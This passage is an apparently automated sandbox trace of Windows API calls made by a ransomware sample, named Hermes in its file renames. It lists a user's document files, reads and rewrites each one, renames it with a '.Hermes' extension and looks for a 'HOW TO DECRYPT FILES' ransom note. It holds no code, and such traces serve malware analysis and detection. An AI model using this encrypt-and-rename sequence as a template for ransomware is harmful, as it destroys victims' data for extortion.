lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4a9e2d0, ftCreationTime.dwHighDateTime=0x1d4ade0, ftLastAccessTime.dwLowDateTime=0xaa580590, ftLastAccessTime.dwHighDateTime=0x1d4d822, ftLastWriteTime.dwLowDateTime=0xaa580590, ftLastWriteTime.dwHighDateTime=0x1d4d822, nFileSizeHigh=0x0, nFileSizeLow=0x156b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="uZFTfGR0J-cG.pptx", cAlternateFileName="UZFTFG~1.PPT")) returned 1 [0091.307] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46ec720, ftCreationTime.dwHighDateTime=0x1d4e855, ftLastAccessTime.dwLowDateTime=0xb2524e20, ftLastAccessTime.dwHighDateTime=0x1d48649, ftLastWriteTime.dwLowDateTime=0xb2524e20, ftLastWriteTime.dwHighDateTime=0x1d48649, nFileSizeHigh=0x0, nFileSizeLow=0xd73, dwReserved0=0x0, dwReserved1=0x0, cFileName="v2OWp_Gc8AHT3d4nGyy.docx", cAlternateFileName="V2OWP_~1.DOC")) returned 1 [0091.307] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3d97c50, ftCreationTime.dwHighDateTime=0x1d4aa71, ftLastAccessTime.dwLowDateTime=0xc42b640, ftLastAccessTime.dwHighDateTime=0x1d4c25e, ftLastWriteTime.dwLowDateTime=0xc42b640, ftLastWriteTime.dwHighDateTime=0x1d4c25e, nFileSizeHigh=0x0, nFileSizeLow=0x816a, dwReserved0=0x0, dwReserved1=0x0, cFileName="V_Zl34r.xlsx", cAlternateFileName="V_ZL34~1.XLS")) returned 1 [0091.307] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b7549c0, ftCreationTime.dwHighDateTime=0x1d4b207, ftLastAccessTime.dwLowDateTime=0xf6c7a0e0, ftLastAccessTime.dwHighDateTime=0x1d49ca2, ftLastWriteTime.dwLowDateTime=0xf6c7a0e0, ftLastWriteTime.dwHighDateTime=0x1d49ca2, nFileSizeHigh=0x0, nFileSizeLow=0x2a34, dwReserved0=0x0, dwReserved1=0x0, cFileName="X7xxXdVkKAI.pptx", cAlternateFileName="X7XXXD~1.PPT")) returned 1 [0091.307] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34510cf0, ftCreationTime.dwHighDateTime=0x1d4fc05, ftLastAccessTime.dwLowDateTime=0x8899ce00, ftLastAccessTime.dwHighDateTime=0x1d4dd6a, ftLastWriteTime.dwLowDateTime=0x8899ce00, ftLastWriteTime.dwHighDateTime=0x1d4dd6a, nFileSizeHigh=0x0, nFileSizeLow=0xd123, dwReserved0=0x0, dwReserved1=0x0, cFileName="xpmGmPcch3uV.xlsx", cAlternateFileName="XPMGMP~1.XLS")) returned 1 [0091.307] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0091.307] FindClose (in: hFindFile=0xfeda98 | out: hFindFile=0xfeda98) returned 1 [0091.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e488) returned 1 [0091.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e494) returned 1 [0091.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e4cc) returned 1 [0091.308] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x105, lpBuffer=0x19df80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0091.308] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\*", lpFindFileData=0x19e1f4 | out: lpFindFileData=0x19e1f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x808c52ec, ftLastAccessTime.dwHighDateTime=0x1d51251, ftLastWriteTime.dwLowDateTime=0x808c52ec, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfedc18 [0091.308] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x808c52ec, ftLastAccessTime.dwHighDateTime=0x1d51251, ftLastWriteTime.dwLowDateTime=0x808c52ec, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.308] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf21cf60, ftCreationTime.dwHighDateTime=0x1d4cc4b, ftLastAccessTime.dwLowDateTime=0xff901db0, ftLastAccessTime.dwHighDateTime=0x1d4f274, ftLastWriteTime.dwLowDateTime=0xff901db0, ftLastWriteTime.dwHighDateTime=0x1d4f274, nFileSizeHigh=0x0, nFileSizeLow=0x14a68, dwReserved0=0x0, dwReserved1=0x0, cFileName="--8WWFRhf0b.pptx", cAlternateFileName="--8WWF~1.PPT")) returned 1 [0091.308] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb98f00, ftCreationTime.dwHighDateTime=0x1d4bcef, ftLastAccessTime.dwLowDateTime=0x93c08ad0, ftLastAccessTime.dwHighDateTime=0x1d50605, ftLastWriteTime.dwLowDateTime=0x93c08ad0, ftLastWriteTime.dwHighDateTime=0x1d50605, nFileSizeHigh=0x0, nFileSizeLow=0x574f, dwReserved0=0x0, dwReserved1=0x0, cFileName="1v32WDK.pptx", cAlternateFileName="1V32WD~1.PPT")) returned 1 [0091.309] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce775290, ftCreationTime.dwHighDateTime=0x1d4dde6, ftLastAccessTime.dwLowDateTime=0x8eb4fda0, ftLastAccessTime.dwHighDateTime=0x1d4fa2f, ftLastWriteTime.dwLowDateTime=0x8eb4fda0, ftLastWriteTime.dwHighDateTime=0x1d4fa2f, nFileSizeHigh=0x0, nFileSizeLow=0x153f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="4z4 82v.xlsx", cAlternateFileName="4Z482V~1.XLS")) returned 1 [0091.309] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcea2890, ftCreationTime.dwHighDateTime=0x1d498d7, ftLastAccessTime.dwLowDateTime=0x237eae20, ftLastAccessTime.dwHighDateTime=0x1d5119d, ftLastWriteTime.dwLowDateTime=0x237eae20, ftLastWriteTime.dwHighDateTime=0x1d5119d, nFileSizeHigh=0x0, nFileSizeLow=0x49ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="6jL9GY5.xlsx", cAlternateFileName="6JL9GY~1.XLS")) returned 1 [0091.309] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61147850, ftCreationTime.dwHighDateTime=0x1d4d174, ftLastAccessTime.dwLowDateTime=0x759304b0, ftLastAccessTime.dwHighDateTime=0x1d4cd3f, ftLastWriteTime.dwLowDateTime=0x759304b0, ftLastWriteTime.dwHighDateTime=0x1d4cd3f, nFileSizeHigh=0x0, nFileSizeLow=0x15f5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="9dHCFyZ_.odt", cAlternateFileName="")) returned 1 [0091.309] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fc0e150, ftCreationTime.dwHighDateTime=0x1d49b45, ftLastAccessTime.dwLowDateTime=0xf31297c0, ftLastAccessTime.dwHighDateTime=0x1d4ffc1, ftLastWriteTime.dwLowDateTime=0xf31297c0, ftLastWriteTime.dwHighDateTime=0x1d4ffc1, nFileSizeHigh=0x0, nFileSizeLow=0x16b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Am2R.docx", cAlternateFileName="AM2R~1.DOC")) returned 1 [0091.309] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ada10, ftCreationTime.dwHighDateTime=0x1d4e00c, ftLastAccessTime.dwLowDateTime=0xbb65ac90, ftLastAccessTime.dwHighDateTime=0x1d4b15b, ftLastWriteTime.dwLowDateTime=0xbb65ac90, ftLastWriteTime.dwHighDateTime=0x1d4b15b, nFileSizeHigh=0x0, nFileSizeLow=0x160c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ayhyoBKV0xMLiy.docx", cAlternateFileName="AYHYOB~1.DOC")) returned 1 [0091.309] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655d5490, ftCreationTime.dwHighDateTime=0x1d4c70b, ftLastAccessTime.dwLowDateTime=0x873bcfb0, ftLastAccessTime.dwHighDateTime=0x1d49cb3, ftLastWriteTime.dwLowDateTime=0x873bcfb0, ftLastWriteTime.dwHighDateTime=0x1d49cb3, nFileSizeHigh=0x0, nFileSizeLow=0xed3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BZh3 QA3w.xlsx", cAlternateFileName="BZH3QA~1.XLS")) returned 1 [0091.310] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3340555c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3396299d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9daec75b, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x55000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database1.accdb", cAlternateFileName="DATABA~1.ACC")) returned 1 [0091.310] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440c5760, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440c5760, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0091.310] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c18aac0, ftCreationTime.dwHighDateTime=0x1d4ff8e, ftLastAccessTime.dwLowDateTime=0xc33f74c0, ftLastAccessTime.dwHighDateTime=0x1d4da58, ftLastWriteTime.dwLowDateTime=0xc33f74c0, ftLastWriteTime.dwHighDateTime=0x1d4da58, nFileSizeHigh=0x0, nFileSizeLow=0x1146a, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDj9.docx", cAlternateFileName="IDJ9~1.DOC")) returned 1 [0091.310] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31363e70, ftCreationTime.dwHighDateTime=0x1d4d3ef, ftLastAccessTime.dwLowDateTime=0xc4063000, ftLastAccessTime.dwHighDateTime=0x1d4c7a8, ftLastWriteTime.dwLowDateTime=0xc4063000, ftLastWriteTime.dwHighDateTime=0x1d4c7a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kqnw_pPQeZHhvh", cAlternateFileName="KQNW_P~1")) returned 1 [0091.310] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0091.310] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0091.310] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0091.311] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0091.311] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4141cb90, ftCreationTime.dwHighDateTime=0x1d4cd91, ftLastAccessTime.dwLowDateTime=0xe4fb8bb0, ftLastAccessTime.dwHighDateTime=0x1d507a0, ftLastWriteTime.dwLowDateTime=0xe4fb8bb0, ftLastWriteTime.dwHighDateTime=0x1d507a0, nFileSizeHigh=0x0, nFileSizeLow=0x1210d, dwReserved0=0x0, dwReserved1=0x0, cFileName="oK6_.pptx", cAlternateFileName="OK6_~1.PPT")) returned 1 [0091.311] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa87f514a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddc1fe1e, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0091.311] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf5925e0, ftCreationTime.dwHighDateTime=0x1d4dfef, ftLastAccessTime.dwLowDateTime=0x952d61e0, ftLastAccessTime.dwHighDateTime=0x1d49080, ftLastWriteTime.dwLowDateTime=0x952d61e0, ftLastWriteTime.dwHighDateTime=0x1d49080, nFileSizeHigh=0x0, nFileSizeLow=0xc1d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="pFdPoLW.docx", cAlternateFileName="PFDPOL~1.DOC")) returned 1 [0091.311] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4a9e2d0, ftCreationTime.dwHighDateTime=0x1d4ade0, ftLastAccessTime.dwLowDateTime=0xaa580590, ftLastAccessTime.dwHighDateTime=0x1d4d822, ftLastWriteTime.dwLowDateTime=0xaa580590, ftLastWriteTime.dwHighDateTime=0x1d4d822, nFileSizeHigh=0x0, nFileSizeLow=0x156b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="uZFTfGR0J-cG.pptx", cAlternateFileName="UZFTFG~1.PPT")) returned 1 [0091.311] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46ec720, ftCreationTime.dwHighDateTime=0x1d4e855, ftLastAccessTime.dwLowDateTime=0xb2524e20, ftLastAccessTime.dwHighDateTime=0x1d48649, ftLastWriteTime.dwLowDateTime=0xb2524e20, ftLastWriteTime.dwHighDateTime=0x1d48649, nFileSizeHigh=0x0, nFileSizeLow=0xd73, dwReserved0=0x0, dwReserved1=0x0, cFileName="v2OWp_Gc8AHT3d4nGyy.docx", cAlternateFileName="V2OWP_~1.DOC")) returned 1 [0091.311] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3d97c50, ftCreationTime.dwHighDateTime=0x1d4aa71, ftLastAccessTime.dwLowDateTime=0xc42b640, ftLastAccessTime.dwHighDateTime=0x1d4c25e, ftLastWriteTime.dwLowDateTime=0xc42b640, ftLastWriteTime.dwHighDateTime=0x1d4c25e, nFileSizeHigh=0x0, nFileSizeLow=0x816a, dwReserved0=0x0, dwReserved1=0x0, cFileName="V_Zl34r.xlsx", cAlternateFileName="V_ZL34~1.XLS")) returned 1 [0091.312] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b7549c0, ftCreationTime.dwHighDateTime=0x1d4b207, ftLastAccessTime.dwLowDateTime=0xf6c7a0e0, ftLastAccessTime.dwHighDateTime=0x1d49ca2, ftLastWriteTime.dwLowDateTime=0xf6c7a0e0, ftLastWriteTime.dwHighDateTime=0x1d49ca2, nFileSizeHigh=0x0, nFileSizeLow=0x2a34, dwReserved0=0x0, dwReserved1=0x0, cFileName="X7xxXdVkKAI.pptx", cAlternateFileName="X7XXXD~1.PPT")) returned 1 [0091.312] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34510cf0, ftCreationTime.dwHighDateTime=0x1d4fc05, ftLastAccessTime.dwLowDateTime=0x8899ce00, ftLastAccessTime.dwHighDateTime=0x1d4dd6a, ftLastWriteTime.dwLowDateTime=0x8899ce00, ftLastWriteTime.dwHighDateTime=0x1d4dd6a, nFileSizeHigh=0x0, nFileSizeLow=0xd123, dwReserved0=0x0, dwReserved1=0x0, cFileName="xpmGmPcch3uV.xlsx", cAlternateFileName="XPMGMP~1.XLS")) returned 1 [0091.312] FindNextFileW (in: hFindFile=0xfedc18, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34510cf0, ftCreationTime.dwHighDateTime=0x1d4fc05, ftLastAccessTime.dwLowDateTime=0x8899ce00, ftLastAccessTime.dwHighDateTime=0x1d4dd6a, ftLastWriteTime.dwLowDateTime=0x8899ce00, ftLastWriteTime.dwHighDateTime=0x1d4dd6a, nFileSizeHigh=0x0, nFileSizeLow=0xd123, dwReserved0=0x0, dwReserved1=0x0, cFileName="xpmGmPcch3uV.xlsx", cAlternateFileName="XPMGMP~1.XLS")) returned 0 [0091.312] FindClose (in: hFindFile=0xfedc18 | out: hFindFile=0xfedc18) returned 1 [0091.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e488) returned 1 [0091.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e494) returned 1 [0091.312] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\--8WWFRhf0b.pptx", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\--8WWFRhf0b.pptx", lpFilePart=0x0) returned 0x2a [0091.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0091.312] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\--8WWFRhf0b.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\--8wwfrhf0b.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.313] GetFileType (hFile=0x304) returned 0x1 [0091.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0091.313] GetFileType (hFile=0x304) returned 0x1 [0091.313] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x14a68 [0091.313] ReadFile (in: hFile=0x304, lpBuffer=0x30ba4a0, nNumberOfBytesToRead=0x14a68, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x30ba4a0*, lpNumberOfBytesRead=0x19e3dc*=0x14a68, lpOverlapped=0x0) returned 1 [0091.313] CloseHandle (hObject=0x304) returned 1 [0091.332] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0091.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0091.332] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0091.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0091.333] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\--8WWFRhf0b.pptx", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\--8WWFRhf0b.pptx", lpFilePart=0x0) returned 0x2a [0091.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0091.333] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\--8WWFRhf0b.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\--8wwfrhf0b.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.334] GetFileType (hFile=0x304) returned 0x1 [0091.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0091.334] GetFileType (hFile=0x304) returned 0x1 [0091.335] WriteFile (in: hFile=0x304, lpBuffer=0x31451ec*, nNumberOfBytesToWrite=0x14a70, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x31451ec*, lpNumberOfBytesWritten=0x19e3d0*=0x14a70, lpOverlapped=0x0) returned 1 [0091.366] CloseHandle (hObject=0x304) returned 1 [0091.368] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\--8WWFRhf0b.pptx", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\--8WWFRhf0b.pptx", lpFilePart=0x0) returned 0x2a [0091.368] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\--8WWFRhf0b.pptx.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\--8WWFRhf0b.pptx.Hermes", lpFilePart=0x0) returned 0x31 [0091.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0091.368] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\--8WWFRhf0b.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\--8wwfrhf0b.pptx"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf21cf60, ftCreationTime.dwHighDateTime=0x1d4cc4b, ftLastAccessTime.dwLowDateTime=0xff901db0, ftLastAccessTime.dwHighDateTime=0x1d4f274, ftLastWriteTime.dwLowDateTime=0xafef04b3, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x14a70)) returned 1 [0091.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0091.369] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\--8WWFRhf0b.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\--8wwfrhf0b.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\--8WWFRhf0b.pptx.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\--8wwfrhf0b.pptx.hermes")) returned 1 [0091.369] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\1v32WDK.pptx", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\1v32WDK.pptx", lpFilePart=0x0) returned 0x26 [0091.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0091.369] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\1v32WDK.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\1v32wdk.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.369] GetFileType (hFile=0x304) returned 0x1 [0091.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0091.369] GetFileType (hFile=0x304) returned 0x1 [0091.369] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x574f [0091.369] ReadFile (in: hFile=0x304, lpBuffer=0x315a1a4, nNumberOfBytesToRead=0x574f, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x315a1a4*, lpNumberOfBytesRead=0x19e3dc*=0x574f, lpOverlapped=0x0) returned 1 [0091.370] CloseHandle (hObject=0x304) returned 1 [0091.410] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, 